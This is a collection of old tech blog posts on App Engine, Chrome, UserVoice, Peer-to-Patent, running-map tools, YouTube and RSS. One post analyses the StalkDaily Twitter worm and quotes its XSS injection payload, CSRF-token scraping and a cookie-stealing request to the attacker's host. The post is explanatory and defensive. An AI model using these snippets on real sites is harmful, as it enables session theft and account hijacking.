When Google launched App Engine about one year ago, many were excited about their expected move into the cloud computing space, but at the same time, dismayed that it only supported Python, a language seemingly favoured at the Mountain View-headquartered company.

However, Google was adamant that they would begin supporting new languages and began taking requests on their issue tracker for what language to support next. So, it was no surprise that support for Java was announced last week as part of an “Early Look” at the feature.

I qualified for signup!

The Google App Engine page indicated that access would be limited to the first 10,000 developers who signed up, but I was able to get approved for access after signing up over the weekend, even though Java support was launched last Wednesday on April 8th. Google has since expanded the “early Look” to accommodate a total of 25,000 developers, so be sure to sign up if you can!

The choice of Java as the next language to support was no big surprise, as indicated by many articles speculating on the matter.

Furthermore, Java is one of the most popular languages out there, both outside and inside Google, making it a logical choice. This is seen by the numerous Java projects Google has created/supported, such as Google Web Toolkit and Google Guice. Additionally, Java is second to none when it comes to a viable developer ecosystem, which has resulted in great open source projects such as JBoss, the Apache Commons collections, and other libraries/frameworks that have provided great tools to any Java developer, allowing them focus on developing their application instead of worrying about lower-level problems. There are also a great many websites out there running on J2EE, such as LinkedIn and numerous corporate websites.

App Engine as a enabler for free/cheap Java hosting

However, this hasn’t translated into the availability of cheap web hosting for J2EE/Java development. Typically, web hosting for a shared-server solution will be only a few dollars per month if you’re using a scripting/interpreted language like PHP, Python or Perl. If you want to develop Java web applications though, you’ll likely have to pay much more due to the complexity and overhead of the hosting provider having to run a Java VM.

As outlined in this somewhat overly optimistic article, Google’s support for Java in App Engine has the potential to change the game by offering a cheap/low-cost, or in most cases, a free solution to allow developers to begin creating J2EE/Java-based web applications. This will have the effect of encouraging greater adoption of J2EE as a server-side solution. In my opinion, the high cost of Java web hosting has indeed hampered its adoption by the community, as compared to alternatives like PHP, Python and Ruby.

Hello, World

As for me, I’m currently devoting my free time to experimenting on App Engine using Java. So far, the documention and tutorial seem to be fairly well-written and easy to follow, and for the most part App Engine is using the standard Java APIs for providing most of their service functionality. Furthermore, Google has made an excellent Eclipse plugin for App Engine Java support, which provides not only the SDK, but also a built-in development server/Jetty-based servlet container for local testing, but also the tools necessary to upload your application to Google’s servers directly from the IDE. Another reason why Eclipse is the best IDE out there.

I hope to have something working within a few days, at least to test the service and play around with its capabilities. Overall, I’m very impressed!

If you use Twitter a lot (unlike me) you’ll likely have been alerted and worried about the presence of a worm that’s been making the rounds at the popular micro-blogging website. The so-called “StalkDaily” worm was first noticed on Saturday, and it appeared to be able to “infect” a user’s Twitter profile, causing random tweets about the StalkDaily website (don’t go there) to show up on their profile. Furthermore, other user’s Twitter profiles could also become infected, seemingly by only viewing the profile of another infected user.

Eventually the source code of the worm was uncovered, (safe to view) and a quick analysis of the worm shows why it was able to quickly spread through Twitter so fast. Here’s an overview of how the worm worked.

Overview

The StalkDaily worm was apparently written by a person named “Mikeyy Mooney”, who is evidently a 17-year old from Brooklyn, New York. He created the original worm, plus other derivatives that spread using the same mechanism but displayed different messages on the infected user’s profile. The attack was not able to steal user’s passwords, thanks to Twitter’s security configuration, but it nonetheless caused over 10,000 unauthorized tweets to show up on users’ profiles.

Drilling down

An analysis of the source code of the worm yields some insight into how this malicious code was able to spread so effectively. Specifically, the attack used Type 2 or persistent XSS vulnerability, the most serious type, in order to achieve DOM/JavaScript injection into the Twitter site.

In this sort of attack, the attacker was able to arbitrary JavaScript into a page that was publicly viewable by any other user; in this case the page was a user’s profile. This injected JavaScript was then used to “infect” the profile of the user who viewed the already-infected profile, causing the cycle to repeat.

Specifically, the “URL” field of the user’s profile is targeted. This contents of this field were apparently not sanitized from user input, or the contents were not properly converted to HTML entities when setting the contents to the value of the href attribute when displaying the user’s URL or homepage/website. This is seen in lines 104 and 109 of the source code, shown below:

var xss = urlencode('http://www.stalkdaily.com"><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');
...
var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update");

The last line is where the user’s profile is updated to show the offending JavaScript; this essentially make the user’s profile execute the worm’s source code, causing anyone who views the profile to become “infected” themselves.

Thus the attacker was able to exploit this to arbitrarily inject a SCRIPT tag into the DOM linking to a JavaScript file (x.js) on his site. By doing this, he was able to get code he owned (the JavaScript file on his own website) to run at the privilege level of scripts on the Twitter.com domain. This “privilege escalation” of sorts is what allowed the script to perform actions on behalf of the user, including infecting their profile to spread to others, and causing the user to tweet phrases of the attacker’s choice.

Spreading

Once infected, a user’s profile would contain a link to the malicious JavaScript as described above. This is because the user’s profile shows a link to their website URL, which had been altered to inject the malicious JavaScript residing the attacker’s server. Because of this, anyone who was logged into Twitter and viewed an infected user’s profile would themselves be infected, and their profile would then become a vector for transmission of the worm, completing the cycle.

The source code also shows that each time you viewed an infected profile, the script would cause you to randomly tweet one of six different phrases, all of which linked to the StalkDaily website. It appears the attacker was trying to promote his website this way, but it’s also possible that going to this website could also cause you to become infected. While viewing a resource directly on the StalkDaily website could not cause you to become infected, due to the same-origin policy, it’s possible that a hidden iframe could be included on the site, pointing towards the profile of an infected user. This would case you to become infected.

Why XSS is so important to prevent against

Cross-site scripting attacks, or XSS for short, essentially occur because user-input data is not properly sanitized prior to being committed to persistent storage, or is not properly escaped into HTML entities before being output to a webpage or displayed. This can allow a malicious user to inject or alter the structure of the DOM, inserting script tags to inject their own arbitrary JavaScript into your website.

This attack demonstrates the need to effectively guard against these vulnerabilities, because such flaws can undermine other security precautions you have taken. For example, the source code of the worm shows that Twitter was using an “authentication token” for all form submissions in order to prevent Cross-site Request Forgery (CSRF) attacks. This is essentially using a temporary, random value to ensure that a form was submitted from the Twitter website itself, so that not any website can submit a form request to Twitter on behalf of a user.

This can normally prevent malicious websites from performing actions on your behalf without your knowledge; however because the XSS vulnerability allowed for DOM/script injection, the attacker’s script (on a separate domain) was able to run with the same privilege of a script on Twitter’s own site. Thus, it was able to read in the “authentication token” value from the HTML of the Twitter webpage, and use it to properly craft form submission data to alter the user’s profile and tweet on their behalf. This is seen on lines 85-90:

var content = document.documentElement.innerHTML;

authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];
//alert(authtoken);

Note that using a cookie to store the authentication token would not have prevented this. Because the script was running within the scope of the Tiwtter.com domain, it would be able to access the user’s cookies! In fact it does exactly this, and furthermore it sends your cookies to the attacker’s server so they can keep a log of them! Lines 78-81 show this: (The username is obtained from the DOM, much like the authentication token)

var cookie;
cookie = urlencode(document.cookie);
document.write("<img src='http://mikeyylolz.uuuq.com/x.php?c=" + cookie + "&username=" + username + "'>");
document.write("<img src='http://stalkdaily.com/log.gif'>");

Other notes

Obviously central to this problem is the ability of scripts on other domains to run within the scope of another domain simply by being linked to on the page via a script element. This allows scripts not under the control of the originating domain to be able to access cookies and other information that would not be normally accessible.

However, this ability also allows useful services such as Google Analytics and other third-party services/APIs such as Google Maps, to work easily across different websites, allowing services to expose their features through a JavaScript API. Thus, making browsers reject third-party SCRIPT tags would cause serious usability problems; a better idea is to use a Firefox plugin like NoScript so that the user can have fine-grained control over issues like this.

Other points of interest when looking at the source code is that the bulk of the code are utility functions. The actual malicious code only takes up the last third of the file or so. For example, the function XHConn() is simply a standard cross-browser compatible implementation of XMLHttpRequest, the API used for the Ajax requests necessary to alter the user’s profile. Additionally, the urlencode() function is another utility function that allows values like the user’s cookies and the actual malicious script tag to be properly submitted in the Ajax request.

Lastly, the malicious code is set to be executed 3250 ms after the script is fully-loaded. (line 111) This is likely to ensure that the DOM is fully loaded and ready to be traversed to find things like the username and authentication token, instead of hooking into an event like window.onload.

Concluding remarks

This analysis identifies the following points:

1. The worm spreads by updating your profile URL to include the malicious script.
2. Simply viewing the profile of an infected user is suffice to cause your profile to become infected.
3. Every time you view the profile of an infected user, including your own, the worm will cause you to automatically tweet one of the random messages.
4. The random tweets from an infected user do not appear to contain the malicious code, probably because output here has been protected against that.
5. The worm steals the cookies you have set for the Twitter.com domain, along with your username, but thankfully no password information is stolen since Twitter does not store that sort of information in cookies. It also appears to log each visit to an infected user’s profile.
6. Visiting a third-party site (such as the StalkDaily website) may infect your Twitter profile if a hidden iframe has been included, pointing towards the profile of an infected user. This can be hard to detect, so using something the NoScript Firefox extension is recommended.

Note that this is not a criticism of Twitter itself, as designing any web application is difficult from a security perspective; it’s also worthwhile to note that Twitter responded fast to this issue, within hours on a Saturday. They appeared to have the situation under control as of yesterday and had patched the hole as well as being on their way to cleaning up infected users’ profiles. Understandably they are very upset and I hope they are able to sort the whole issue out.

When developing any application, getting proper user feedback during the early stages is essential if you want to have the application suit your customers’ needs. Often this is done with staged tests, but with web applications you can have the benefit of using an online method of retrieving your users’ opinions.

However, doing so can be tricky. If you want to get feedback, you can implement your own system for soliciting it, however, this takes up extra time that could be used to further develop your core web application. Alternatively, there are some existing online services that can provide survey-like questionnaires to users, but honestly, these present more trouble to the user than they’re worth.

When I first started using Stack Overflow, I noticed that the feedback service they had been using, UserVoice, was an elegant and functional solution to this problem.

UserVoice takes care of the problem for you, by providing you with an easy-to-use comment and feedback forum. (It can also be a place where users can submit bug reports, as well) However, it’s more than just a forum: By allowing users to “vote” on particular topics, it allows clustering of the most popular ideas/requests, thus bringing them to your attention the most. It also helps prevent duplicate topics from being submitted, and is a great “Digg-style” way of using the “wisdom of the crowds”, as they say.

There are some drawbacks, of course. If you’re using it to allow users to submit bugs, I wouldn’t rely on it as your sole bug tracker. Instead, I’d use it to receive the reports, then parse through and verify them before adding them to a proper bug tracker (like Trac) where they can be better integrated into your development work-flow. Furthermore, if you have a popular site, the feedback forums can still become deluged in too many requests/ideas, but that is a problem no matter what type of system you’re using for feedback. And, as mentioned before, the voting system helps to bring to your attention the most popular ones so that you can further make a value judgment.

I’ve since launched a feedback forum for RunTrackr, my side project for the past little while. I encourage you to give UserVoice a try, since it’s so easy to get started – you’re literally up and running inside of two minutes. At a minimum, give their home page a visit – it does a great job of explaining the process in a simple and easy-to-understand manner.

After much speculation yesterday, marked by a leaked web comic and finally an acknowledgment by Google, Google Chrome, the much anticipated web browser, is here.

I encourage you to download it and give it a try, as I did as soon as it came out. Here are some of my initial impressions.

Overview

Google released a fairly long web comic that delves into quite a bit of detail about Chrome – it’s not your typical comic! Touted as being built “from scratch”, Chrome uses the WebKit rendering engine, the same one that powers Safari and Konqueror.

The first thing you notice is how minimal the “Chrome” or UI of Chrome is. If you’re used to a half-dozen toolbars, buttons and widgets all over the place, Chrome will seem like a greenfield to you. By default, there is only a tab bar and then an address bar containing back, forward, a combined reload-stop button and the address bar. There are also buttons for bookmarking a site and for page and browser settings. The bookmarks bar is not displayed unless you specifically change that setting.

Keyboard shortcuts are also present so that you don’t have to click through context menus. If you’re used to the keyboard shortcuts of Firefox and IE7 you’ll be pleased to know that most of them transfer over without change: Ctrl-T opens a new Tab, Ctrl-W/Ctrl-F4 closes a tab, Alt-D focuses the address bar and Ctrl-J opens Downloaded Files.

The address bar also functions as a search bar, and this combination just makes sense. It’s something I’ve always been doing using Firefox Quick Searches

By default the home/start page is set to set to show an Opera-style “Speed Dial” page containing most recently-accessed pages/bookmarks. You can also configure Chrome to restore the previous tabs/websites on startup, which is my personal preference ever since I started using Firefox.

Features

Chrome integrates Google Gears to speed up supporting web applications and is an obvious effort by Google to self-promote. This is substantial since the download link for Chrome is on the main Google search page – no small feat considering only the most popular/important services get that sort of attention and furthermore the link is positioned dead center beneath the search field.

The address/search bar

Chrome allows for quasi-Site-Specific Browsers by use of “Application Shortcuts”, which can be set for any website but are meant to be used mainly with web applications. These allow you to open the target URL in a browser window that does not have the menu or address bars and essentially serves as a blank canvas upon which the web application’s own UI can be displayed.

This is similar to other SSBs such as Mozilla Prism or Fluid for the Mac, as they aim to bridge the gap between desktop and web applications to make their integration more seamless.

However, like Google Blogoscoped points out, using such non-browser interfaces may condition the user to be more lax when entering their credentials and makes phishing attempts more viable since no URL is displayed. This is curious since security, “sandboxing” and general safe browsing were so high on Chrome’s feature list – this feature seems to help undo some good user practices of always confirming the URL before entering credentials.

There are also some nice little enhancements as well – the combined address bar/search bar is very much like Firefox 3’s “awesome bar”. Chrome also allows you to dynamically resize any textarea element, without the site designer having to code this specifically in JavaScript or some other client-side technology.

Performance

Each tab/window is a separate process and thus will show up separately in Task Manager; Chrome also offers its own Task Manager but the memory usage reported here differs from that in the Windows Task Manager. To get the full picture, you have to click on the “Stats for nerds” link, which takes you to about:memory

This page displays the full memory usage details, and also, surprisingly, displays memory usage for any other web browsers also currently running! (I have confirmed that it will display Firefox 2/3, IE7 and Opera 9)

Much talk has been made of this feature; indeed while it does use more resources, it also prevents a single site from bringing down the entire browser as only that tab/window will be affected. To test this out, just terminate one of the instances of chrome.exe and you will see that tab’s screen into a “sad tab of death” with an amusing message.

JavaScript

Though JavaScript falls under the category of `Performance` I felt it deserves its own section because of the importance of JavaScript in web applications. Chrome uses the Google-developed V8 JavaScript engine, which has also been released as open source.

The main points of V8 are outlined at the Google Code page for the project, and are quite interesting. One of the main improvements in performance is the use of a Virtual Machine (VM) for processing JavaScript.

The V8 Virtual Machine is different from say, the JVM (Java Virtual Machine) in that it compiles JavaScript source directly to machine code; there is no intermediate byte-code representation used and hence no interpreter is needed for this. This seems to indicate that JavaScript performance might be faster on Chrome since there’s no intermediary. Google provides some benchmarks to confirm this.

From some informal/unscientific preliminary testing, the V8 JavaScript engine in Chrome does appear to be quite fast; loading the same Digg topic in Firefox took longer than it did in Chrome. (Roughly 14 secs vs. 8 seconds over a few trials – and Chrome did not have the benefit of AdBlock Plus) I’d be very interested to see how Chrome stacks up against Firefox 3.1, considering the rumoured performance boosts coming with it.

If Chrome has anything going for it, it’s definitely the lightning fast JavaScript performance. Coupled with the crash-proofing this makes it ideal for use in web applications.

Development

Chrome comes with a nice DOM inspector reminiscent of Firebug. Using it is dead simple; you just right click and select “Inspect Element” and the inspection window will pop up with the element highlighted. Here you can see the full DOM tree as well as the computed CSS styles for the element.

There’s an included JavaScript console for executing code/commands/expressions on-the-fly and while there is a JavaScript debugger included, it seems at this time to be a command-line only tool, far less user-friendly than Firebug.

Not ready for prime time yet?

Of course, Chrome is marked as Beta by Google, something we’ve come to expect since Gmail has been in beta for longer than the company has been publicly traded. Nonetheless, there are still some features that are sorely missed.

The one thing I absolutely love about Firefox is the vibrant developer community and subsequent widespread availability of quality, useful extensions. This has produced such gems as the aforementioned Firebug and Adblock Plus.

For now, extensions/addons are not part of Chrome but may be added in a later version. In the meantime I don’t think I’ll be even close to ready to switch, as I’m very stubborn. I don’t use that many extensions but the few that I do are “must-haves” and I just can’t browse without them.

Lastly, there are always privacy concerns, especially from a company as big an involved as Google. Though you can turn off the sending of usage statistics, there will always be some with their tinfoil hats on.

Conclusions

All things considered, Chrome is a very good entry into the browser market. While I don’t think it’s ready to take on Firefox or IE yet, it does provide competition. So as long as Chrome continues to support standards (which I think it will, since it uses the WebKit renderer and Google has also been forthcoming with their support for web developers), I won’t have a problem with it. I won’t be switching over to it anytime soon, but at the very least it’ll be a useful development tool to verify/test my websites on to make sure they look proper in Safari/Konqueror/Chrome.

Back in in June, the USPTO started a pilot project called “Peer-to-Patent” with the aims of opening up the patent review process to the public. By doing this, it hopes to leverage the help of the community in speeding up the patent process by having teams of volunteers looking for prior art that can determine the relevancy of the patent application. The IEEE Spectrum had a good article/interview with the founder of Peer-to-Patent; it’s a short read (2 pages), and I suggest you read it since it does a good job at explaining the goals and the means with which the project aims to accomplish them.

There is apparently a huge backlog in patent applications, so the needs for a project like this are obvious. However, will the “wisdom of the masses” prevail in helping to resolve the numerous problems in the patent system, evidenced by the seemingly endless litigation related to it?

Software only, for now

First of all, the USPTO is not opening the review process for all types of patents. Since Peer-to-Patent is a pilot project, for now, it’s only covering software patent applications. Additionally, inventors are not forced to submit their patent to this open process – it is a voluntary choice. However, if you choose to opt-in to this process, your application will skip the four-year backlog of applications submitted using the “regular process”, and will be reviewed in a much more timely manner – this is the incentive for the program, at least on the inventor’s side. So far, companies like GE, HP and IBM have opted to participate in the project this way.

Community involvement

Community is a two-step process, and anyone can choose to be involved in the review process. Your job, should you choose to accept it, will be to scour for “prior art” – publications or work that relates to the claims of the patent application, and that would help decide on its relevancy. You then post/upload your findings to the Peer-to-Patent website. 10 to 25 new patent applications are expected to be posted to the website every month, providing plenty of material for volunteers to search on.

The second part of the process involves deciding the 10 best pieces of prior art for each patent application. After a set amount of time, new submissions of prior art are closed off, and the community must then vote on which pieces of prior art they think are best. Each user/reviewer would get one vote, and the top 10 choices are then forwarded, along with the patent, to the USPTO for the final decision as to whether the patent is awarded or not.

So, the entire process isn’t decided online, but rather, this pilot project takes care of the first step of a patent application. The founder of Peer-to-Patent, Professor Beth Simone Noveck, describes it best:

If you think about the fact that a patent examiner now has between 18 and 20 hours for the total review of a patent application, 18 to 20 hours to decide whether that Blackberry patent application gets granted or whether the peanut butter and jelly application deserves a 20-year grant of monopoly rights, 18 to 20 hours is not a lot of time to complete all the research and do the review.

The process has the added benefit that an entire community is likely to have at least a few volunteers that have some special knowledge or experience related to the specific patent that a single reviewer would not have. This would allow them to find and explain prior art and its relevancy in a better way. After all, the field of even software patents is very broad, and must encompass an enormous amount of information.

The solution?

Peer-to-Patent has the potential to succeed, and hopefully with its success, will usher in a reform, at least in the area of hi-tech. There have been too many frivolous patents accompanied by frivolous lawsuits. In addition to impeding technological progress and development (the opposite aims of patent law), these lawsuits tie up courts and waste resources. With this project, prior art should hopefully be found before these bad patents are granted.

With the community only being involved in the first step of finding prior art, the USPTO still having the final say, I think a nice balance has been struck. This way, you still have some level of control and the USPTO can still use its own judgment. It’s not greatly different than Wikipedia, where some users have more control than others. And, let’s face it: There was no way the USPTO was going to completely relinquish control – that’s just too big of a step.

However, I can see some problems developing. First of all, anytime you have an online voting system, there is always the question of fraud. Since every user/member of the site has one vote in deciding which pieces of prior art they think are best for an application, how do prevent people from establishing multiple accounts and “gaming” the system? One way would be to request a credit card number, just for verification, but I believe this would be a huge impediment to participation. This is a serious issue, with sites like Digg constantly combating “gaming” of their system and other attempts at fraud. If Digg suffers from organized attempts at fraud from marketing services, you can almost be certain something like Peer-to-Patent will suffer from something similar.

In a worst-case scenario, I could see the litigious patent arguments in court merely being relocated to the online-forum of Peer-to-Patent. While this may be better than seeing them tie up the courts, you’ll remember that I’m not exactly agreeable with online debate. Furthermore, there are more serious concerns as well. Sneaky or unethical companies could secretly hire teams of “reviewers” to promote prior art, agreeable with their patent applications, to the top of the list, ensuring that the USPTO only sees these. This would be a clear abuse of the system, and a conflict of interest.

Optimistic

While it may seem that I’ve been pointing out the worst, I’m cautiously optimistic about Peer-to-Patent. I believe it has the potential to succeed, so as long as the creators are flexible and quick to respond to any deficiencies in the system, thus keeping it fair. And, let’s hope that they do succeed, as patent reform has been sorely needed for some time.

If you do a lot of running, you’ll often find that you’d like to keep track of how much distance you’ve accumulated. This is especially important if you’re training for some event, or even if you’re just a casual runner looking to build up your endurance and stay in shape. However, short of running around a track endlessly, it can be hard to gauge how far you’ve gone on your running route.

Short of having a fancy device such as the Nike iPod Kit (which requires calibration), or an even more costly GPS watch (that’ll probably eat through batteries), you can still manually measure your running distance using the many free tools out there, all of which are based upon the fantastic Google Maps API. Let’s have a look at some of them.

Gmaps Pedometer

Gmaps Pedometer was one of the first distance-logging tools created using the Google Maps API. It works well for tracking running/biking routes, and includes a calorie counter based on your weight, as well as some rudimentary elevation information. However, the interface is somewhat bland, and this app doesn’t include some of the features found on some other routes, such as a central repository of user-created running routes integrated with the main app. You can save your running route, however, and users have shared their creations in their forums. No registration is required (or available) for this site. You can easily print maps from within the interface.

Overall, it’s an simple, but effective and easy way to track your distance. It’s somewhat plain though, and a little lacking on features. You also have to enter each point manually, since there’s no option to follow roads. So, if your path goes down a curved boulevard, you’ll have to click along each point to keep the distance accurate, since the path just follows straight lines between each point.

WalkJogRun

WalkJogRun is an application that has a large number of user-created running routes integrated with the map. You can find routes near your location simply by searching for your city; markers will then show up on the map indicating where these running routes are. Clicking on a marker will bring the running route onto the map as an overlay, along with distance measurements for each point along the route. Zooming the map can be done with the mouse wheel, just like in the regular Google Maps.

Times are also included, and are in hours:minutes, and are based on a speed you select. You can configure the distance/speed measurements to be in kilometers or miles (I still like miles, despite being raised metric for everything), and a calorie-counter based on your weight is also included. These options are at the bottom of the screen, and are fairly small, and could be relocated for better visibility.

You can also create your own route by double clicking to enter points. Creating running routes and saving them doesn’t require you to register, but you can, and have to, if you want to mark them as private or be able to come back and alter them later. This seems fair enough, and it’s good that they don’t force you to register to use the service. Also, it’s very nice to be able to see/search for other people’s routes right within the application. Overall, the interface of WalkJogRun seems quite refined, and is fairly easy to use. There are plenty of features, and you can even export routes to Google Earth.

However, one thing to note is that this application feels somewhat sluggish. This is no doubt due to the heavy use of the Google API and the resulting number of Ajax queries that must take place, in order to update the map with users’ routes as you reposition it. This is in stark contrast to Gmaps Pedometer, which while simple and plain, is also faster and more lightweight. I suppose it’s a trade off. And, like Gmaps, WalkJogRun doesn’t support a “follow by road” feature, so entering in paths down curved roads will take more time.

MapMyRun

MapMyRun is like WalkJogRun in that you can search for user-created running routes and also add your own to the mix, and it also has a fairly decent interface that shows information in both kilometers and miles. It has the nice feature that auto-saves your route, and restores it should you accidentally navigate away from the page. It also also gives calorie counts, and supports elevation data as well. You can save this information to a training log, but this requires that you register with the site.

When creating routes, you can specify different types of waypoints, for example water breaks, aid stations and bathrooms. Notes can be added to the waypoints, and the route can be printed out with these notes to keep them handy. This is very nice for operation in the real-world. You can export the route to a variety of sources, such as Google Earth, a Garmin Forerunner or Edge GPS device, or to your blog as some embedded Javascript. This is also very handy, as information nowadays should work across a variety of devices.

However, the best feature is that this application can automatically create paths that follow roads. This is good if your routes follow through a lot of curved roadways, as it’ll save you the headache of manually entering in the path. However, sometimes it’ll automatically create a path from one point to another that doesn’t follow the road route you’d probably run – this is a limitation of the Google Maps system, as it is probably calculating how a car would drive from one point to another. (For example, you can run either way down a one-way street, but cars obviously cannot) Another nice feature is being able to remove a point in the middle of your route without having to re-enter all the subsequent points.

While this application is feature-filled, it also suffers from some sluggish performance like WalkJogRun.

Run.com

With Run.com’s application, you can also search for user-created running routes and add your own. The application is fairly responsive, and doesn’t feel too sluggish because of the way they’ve implemented it – searching for routes shows them on one map, and when you click a route to bring it up, it loads a new page with the route map. This reduces Ajax-activity that is often the cause of poor performance in web applications.

Routes show elevations, and distances in metric or imperial. Different waypoints (water break, aid station, scenic view) can be specified, and users can enter descriptions as well as difficulty ratings for each route. Tips entered by the person who created the route are often useful. (Eg. BE CAREFUL – LOTS OF BIKES)

Though I don’t have much to say about this application, I actually think I like it the best. Even though it doesn’t provide all the data or features that WalkJogRun or MapMyRun might, it’s lightweight, fast and easy to use, all of which are important hallmarks of any application, especially web apps.

One last thing

You don’t need to use one of these tools to measure your running distance. You could easily use Google Earth’s measure tool to map out your running route, but it’s a bit tedious, and these online applications will greatly simplify the process. Personally, I liked WalkJogRun and Run.com’s offerings the best, but you should give them all a try to see which fits your style best.

Lastly, these tools are probably best for road running, such as planning training for a marathon of some sort, or for the marathon itself. If you do a lot of trail running, they won’t work that great, since most of that data isn’t available on Google Maps, the basis for all of these tools. However, these tools do a good job of highlighting the features and flexibility of the Google Maps API by showing what can be accomplished.

Some will say that this deal officially marks the beginning of “Bubble 2.0″, since YouTube is not yet profitable. I’m assuming Google has some pretty bright people working for them, so what was their reasoning behind this move? Certainly, $1.65 billion USD isn’t a lot for them, ever since their IPO, but the real concern is YouTube’s high operating costs – serving up all those videos takes up a lot of bandwidth, which in turn translates into large monthly bills.

Cornering the market

However, the major reason behind this move must have been to corner the online video-sharing market. Google Video, launched not long ago, was a direct competitor to YouTube, but it received lukewarm support from the majority, who were already entrenched in YouTube. By grabbing hold of YouTube, Google effectively has a near-monopoly in the video-sharing market. They must have some future plan for how they will profit from these sites, besides just advertising revenue and “getting their name out there”.

Furthermore, operating costs aren’t the only problem they need to think of. Copyright violations are rampant on YouTube, and companies haven’t been afraid to pursue these matters in court – Google will certainly be dealing with more potential lawsuits in the coming months and years over material used in videos shared on their sites.

Overall, I don’t know where I stand on this. On the one hand, this could prove to be a brilliant move if Google can successfully lead its YouTube branch into profitability – if it doesn’t, it will be a hallmark and a defining moment of “Bubble 2.0″.

It’s all about the advertising

The advent of Internet advertising as a viable income source has been the fuel for this tranformation. Ever since the major players launched huge ad networks (Google’s AdSense and Yahoo’s Publisher Network), it’s becoming easier for sites to “make a quick” buck without apparently selling any service or product. This ad model is what allows you to sign up for a bevy of free services, from webmail to social news sites, and has been the basis for large social networking sites like Facebook. It’s also been a focal point for traditional news services, who not only have been making money off ads on their own sites, but have also bought out sites like MySpace in the further hopes of money from online advertising.

However, it’s also had the effect of making it much easier for “the little guy” to get into the business, sometimes wreaking havoc on established businesses. A great example is Markus Frind, who single-handedly started up a dating site that shook up the entire online dating industry, as he began offering a something for free that typically was a paid service. He made quite a lot of money off of his site, but overall, things were much cheaper for the “customer”. (No fees as opposed to fees)

The long tail

This sort of action by smaller companies is going to change the industry, and Markus himself best sums it up. The basic idea is that smaller startups, entirely self-funded (or at least not venture-capitalized), are taking over sectors, offering services and will be entirely happy making overall, less money than their predecessors. One need only look at TechCrunch on a regular day to see many of these startups being featured.

On the web, things move about ten times as fast, and that includes the launch of new companies and how their services will change and be updated. Where else can a business or service launch, and then suddenly be bought for $2 billion only a scant few years later? The pace at which ideas spread on the web is frightening.

Wag the tail

The best recent example of a typical industry starting to be overtaken by smaller startups is the online job search market. Typically, these areas have been dominated by sites like Monster or Workopolis. These sites are well known and established; however, recently niche job boards like those at 37 signals and TechCrunch have launched, with positive results. The idea behind these job boards seems, at first, the opposite of what would be desired – they are only known by a select group of individuals, typically those who visited the sites before the job board launched.

But that’s just the advantage – not everyone knows, so not just anyone applies to the jobs listed there, producing a higher quality of job applicants. This, in turn, makes it much easier for companies to find good people, thus cutting down on their costs, saving them money. This, of course, reduces the amount of money being pumped into this industry. Take this one comment about the TechCrunch job board (called the CrunchBoard):

We (photobucket) had posted 3 jobs on CrunchBoard and have had a positive experience thus far. We are getting less resume’s than maybe a monster or dice, but the ones we get are much more qualified. I’d be surprised if we don’t fill at least one of these positions in the coming weeks from a CrunchBoard referral. A few hundred bucks sure beats the $20k or so a recruiter will get you for.

Going from spending $20 K to less than $1 K certainly amounts to huge savings, and as more and more companies learn about this, you can bet they’ll be at least partially switching over to this model instead of traditional recruitment practices. This is really the same thing as the typical Internet user benefiting from all the free services out there – they save money, but at the cost of the previous business model suffering decreased revenues.

Whether these new job boards can maintain their level of high-quality applicants is one story, but what is sure to stay, is the fact that traditional industries are going to see their market value decreased because of low-cost Internet startups, for better or for worse.

A little background

The history of RSS is complex and coloured with many differing non-compatible standards all using this three-letter acronym. Of these, RSS 2.0 and RSS 0.91 seem to be the most popular, with perhaps RSS 2.0 becoming more popular with time. You shouldn’t have to worry about all of these differences, as anyone who makes a quality news reader/aggregator, the software used to subscribe to these feeds is probably aware of this and has made their software compatible with all these different versions.

To further add to the confusion, another syndication format, Atom was also developed back in 2003, in response to RSS not being an open format, such as XHTML. As a result, Atom was developed, and is the only format with the IETF’s backing, and hence the only format with a proper, recognized, MIME-type. It thus has a large following among the geeks and tech-saavy, who are perhaps the only people in the world concerned with such things – not that this is such a bad thing. However, most common folk only care “that it works”. (Note: WordPress offers Atom feeds as well as RSS feeds; I simply have not linked to them for brevity and so as not to create confusion with multiple feed links for the same content.)

So, how does it work?

In very basic terms, syndicated content doesn’t utilize any new web technologies, in contrast with, for example, BitTorrent. Instead, to create an RSS/Atom feed, a website will make another copy of regularly-updated content, except it will be formatted and marked up in a certain, XML-friendly way, so that it can be read easily by news readers/aggregators. This file is known as the “feed”, or its location as the “feed URL”. The contents of the feed have been formatted very carefully, and if you were to look at the source, it would look similar to HTML markup, except maybe a bit more complicated.

These feeds are almost always generated by software, and not by hand, thus they fit very nicely into most blogging and CMS software. They usually only contain content, and some useful metadata about it, such as publishing date, author and so forth, and thus allow the reader to get at what’s useful, without having to remember to visit that website.

How’s it helpful?

On their own, the feeds wouldn’t be very much use. But the other side of it is client software called feed readers, news readers or aggregators. These allow the reader to “subscribe” to feeds that they choose – in effect, making a list of sites whose content they are interested in seeing when it is updated with new information.

I hesitate to use the word “subscribe”, since although it’s useful to describe the concept (sort of like subscribing to a magazine you like), the process is not the same. Unlike subscribing to a newspaper that’s delivered to your doorstep (A “push” service), news readers actually subscribe by “pulling” the data to your computer. Thus, a news reader will check a feed to see if it’s been updated; if it has, it will download the new data. Thus unsubscribing is fully within your grasp; the act of “unsubscribing” merely means removing the feed URL from your reader, so there’s no real possibility of spam like with e-mail.

It’s useful since it allows you to dilute the vast quantity of new information on the web everyday down to what you consider to be useful. If you’re like me, you are interested in stuff like web design, development, technology and the like. Once I find a site or blog that I like, I subscribe to its RSS feed, and thus I no longer have to continually search the web to find interesting information, and can keep up to date on new developments.

So, how do I get started?

Syndication has been around for long enough that there are many mature news readers out there. Wikipedia used to have a good list, but it was deleted by the admins over there after an extensive discussion, because we all know how evil link lists can be and how they’re destorying Wikipedia and the moral fabric of America. However, they did link to this somewhat hard-to-read directory of RSS readers – the list is huge.

There are different types of readers, based on what you need. The traditional reader will install
onto your computer and provides an interface similar to an e-mail client. Popular ones include clients from NewsGator, and of course the built-in functionality offered by Mozilla’s Thunderbird client, and the “Live bookmark” option in Firefox. However, the built-in options in Thunderbird and Firefox are limited, in my opinion.

